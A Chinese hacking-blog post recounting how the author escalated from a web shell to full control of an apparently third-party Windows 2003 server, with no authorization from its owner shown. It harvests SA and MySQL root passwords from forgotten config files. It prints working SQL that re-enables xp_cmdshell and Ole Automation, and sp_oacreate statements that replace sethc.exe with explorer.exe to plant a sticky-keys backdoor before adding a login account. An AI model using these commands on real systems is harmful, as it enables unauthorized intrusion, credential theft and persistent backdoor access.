昔日

一次简单的SA提权记录

L0s4r's Blog-黑客博客,专注IT网络安全!:

朋友发来一个站叫我提权,没事就去看了一下,顺便做个记录吧,很久没去提服务器了,也不是很在行。




拿到shell看了一下支持aspx就直接的传了一个aspx大马。





直接来到cmd命令,看能不能执行系统命令。


提示“拒绝访问。 ”


好吧,还是自己传个cmd上去吧,看了一下目录权限发现权限并不大, 各盘根目录都没法访问,手动测试了几个常见可执行目录发现也无法访问,最后发现web目录下竟然可执行--




 





好吧,看样子是管理员疏忽了。


先不管那么多,可以执行cmd就好办了,看一下当前权限:


nt authority\network service


意料之中,systeminfo查看一下系统信息:







32位win2003的系统。补丁也只打了一百来个,所以先考虑的就是本地溢出了。


 


目测一下pr可秒。


传一个pr上去执行发现没有回显,





接着尝试了各种溢出的exp发现都是无回显。Net user 同样是无回显。


服务器应该装了什么防火墙吧。


 


溢出就先不考虑了,来看看第三方服务。


先大马扫一下常见端口:





开放了1433,3306 所以考虑Mysql和Mssql提权。


 


接下来自然是找SA和Root


 


网站是asp.net的程序,之前翻到几个分站是php的,很果断的到data目录下翻到了配置文件,发现并不是root,







然后发现下面还有一个 “复件 config.php”文件? 打开来发现





发现user是root,可能是管理员之前配置数据库备份了一份然后忘了删掉吧。Root密码到手了,传个php的马儿连接测试一下发现又失败了。看样子密码还是改过了啊。


 


放弃mysql来找找sa密码吧。


到主站翻出配置文件发现没有sql连接配置信息。


找个asp.net的分站成功找到了数据库连接配置信息,但又不是SA..





之后只能在shell里乱翻了,在一个不起眼的目录里有了意外的发现:





没想到竟然会是SA.,


好吧,终究还是被我给找到了。


 到大马里连接一下





很果断的调用xp_cmdshell执行系统命令:


提示:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。


Sqlserver2005默认是禁用了xp_cmdshell的,


 这种情况也很好解决的,用下面的SQL语句启用xp_cmdshell就OK了:


 


;EXEC sp_configure 'show advanced options', 1 -- 
;RECONFIGURE WITH OVERRIDE -- 
;EXEC sp_configure 'xp_cmdshell', 1 -- 
;RECONFIGURE WITH OVERRIDE -- 
;EXEC sp_configure   'show advanced options', 0 –


 


 再次执行命令又出现了新的问题:


Message:在执行 xp_cmdshell 的过程中出错。调用 'CreateProcess' 失败,错误代码: '5'。





创建线程失败??


 


可能是cmd被删了吧。


 其实整个过程下来已经无数次提示Connection Timedout了。。所以一直觉得是有防火墙。





能坚持下来还真是不容易。。。


 


 


好吧,既然都折腾这么久了就再继续下去吧。


 


 再回到大马里查看一下远程端口,看看有没有别人留下来的shift后门。


注册表里翻到远程端口后发现setch.exe和放大镜都没有被替换过。


 


这时想到了自己去替换setch,回到sa 调用sql


 


 主要还是做个尝试,利用sp_oacreate这个存储过程调用odsole70.dll来执行


肯定也要先恢复sp_oacreate:


 


Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;


然后就是重点:


将explorer.exe复制为sethc.exe



declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

将sethc.exe复制到dllcache目录下

declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';


 


执行完后重新连接远程桌面:


敲5下shift键:





成功弹出了explorer.exe


 


终于还是搞定了,果断的到计算机管理添加了一个账号进服务器:





可以看到装了360主机卫士。。然后运行cmd发现cmd也是不存在的。看样子之前的猜想是对的...





最后成功获取服务器权限后记得把setch替换回去或者直接删掉。以免后人直接爆菊。



评论

热度(1)